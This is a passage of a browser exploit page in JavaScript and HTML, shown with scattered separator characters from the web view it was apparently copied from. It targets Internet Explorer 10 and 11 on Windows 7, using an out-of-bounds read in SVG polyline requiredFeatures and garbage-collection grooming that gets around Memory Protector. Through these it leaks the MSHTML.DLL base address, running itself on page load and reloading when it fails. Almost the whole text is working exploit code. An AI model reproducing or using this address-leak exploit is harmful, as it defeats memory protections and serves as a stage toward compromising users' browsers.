// Once we have determined the Heap state, we can apply some
|
||||||
|
// more heuristics.
|
||||||
|
if (polyLineArray[i].requiredFeatures.numberOfItems == 2 && polyLineArray[i].requiredFeatures.getItem(1).length == 4) {
|
||||||
|
// Step 9: Read the Out of Bound memory
|
||||||
|
var OOBReadMemory = escape(polyLineArray[i].requiredFeatures.getItem(1));
|
||||||
|
|
||||||
|
// Step 10: Some more heuristics
|
||||||
|
var spitValue = OOBReadMemory.split('%');
|
||||||
|
var CDOMMSGestureEvent_VFTablePointer = parseInt('0x' + spitValue[3].replace('u', '') + spitValue[2].replace('u', ''));
|
||||||
|
var MSHTMLBaseAddress = CDOMMSGestureEvent_VFTablePointer - offsetOfMSHTMLBaseAddress;
|
||||||
|
|
||||||
|
// Step 11: Show the message to user
|
||||||
|
var message = 'MSHTML.DLL Base Address: 0x' + MSHTMLBaseAddress.toString(16);
|
||||||
|
message += '\n';
|
||||||
|
message += 'CDOMMSGestureEvent VFTable Pointer: 0x' + CDOMMSGestureEvent_VFTablePointer.toString(16);
|
||||||
|
alert(message);
|
||||||
|
|
||||||
|
// Step 12: Exploit successful
|
||||||
|
exploitSuccessful = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 13: As stated earlier, this is a bit unreliable.
|
||||||
|
// If the exploit has failed, reload the current page.
|
||||||
|
// If reloading does not help, close the browser and
|
||||||
|
// launch the exploit multiple times.
|
||||||
|
if (!exploitSuccessful) {
|
||||||
|
window.location.reload();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This function is used fill the wait list of the freed objects
|
||||||
|
* and trigger Garbage Collection.
|
||||||
|
*/
|
||||||
|
function CollectGarbage2() {
|
||||||
|
// Microsoft implemented Memory Protector to mitigate
|
||||||
|
// Use after Free vulnerabilities. The object protected
|
||||||
|
// by Memory Protector won't be freed directly. Instead,
|
||||||
|
// it will be put into a wait list which will be freed
|
||||||
|
// when it reaches certain threshold (i.e 100,000 bytes).
|
||||||
|
var video = new Array();
|
||||||
|
|
||||||
|
// Now allocate video element (400 bytes) 250 times
|
||||||
|
//
|
||||||
|
// Note: We are not using stack to store the references.
|
||||||
|
// If we use stack to store the references, the memory
|
||||||
|
// will never be freed during Mark and Reclaim operation
|
||||||
|
for (var i = 0; i < 250; i++) {
|
||||||
|
video[i] = document.createElement('video');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now free the elements. It will be put into the wait list.
|
||||||
|
video = null;
|
||||||
|
|
||||||
|
// Reclaim the memory by triggering Garbage Collection
|
||||||
|
CollectGarbage();
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* This function is used to launch the exploitation by leaking
|
||||||
|
* the base address of MSHTML.DLL.
|
||||||
|
*/
|
||||||
|
function LaunchExploit() {
|
||||||
|
var browserSupported = false;
|
||||||
|
var ieVersion = getInternetExplorerVersion();
|
||||||
|
var offsetOfMSHTMLBaseAddress = null;
|
||||||
|
|
||||||
|
if (ieVersion == 11) {
|
||||||
|
// If you are getting a wrong base address, please update this value
|
||||||
|
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
|
||||||
|
offsetOfMSHTMLBaseAddress = 0x0002ebe8;
|
||||||
|
browserSupported = true;
|
||||||
|
} else if (ieVersion == 10) {
|
||||||
|
// If you are getting a wrong base address, please update this value
|
||||||
|
// offsetOfMSHTMLBaseAddress = VFTableAddress - MSHTMLBaseAddress
|
||||||
|
offsetOfMSHTMLBaseAddress = 0x0000d270;
|
||||||
|
browserSupported = true;
|
||||||
|
} else {
|
||||||
|
alert('Current browser is not supported!\nExploit Tested on IE10 & 11 (Windows 7 SP1 x86)');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Launch the exploit
|
||||||
|
if (browserSupported) {
|
||||||
|
LeakMSHTMLBaseAddress(offsetOfMSHTMLBaseAddress);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body onload='LaunchExploit();'>
|
||||||
|
</body>
|
||||||
|
</html>
|
Loading…
Add table
Reference in a new issue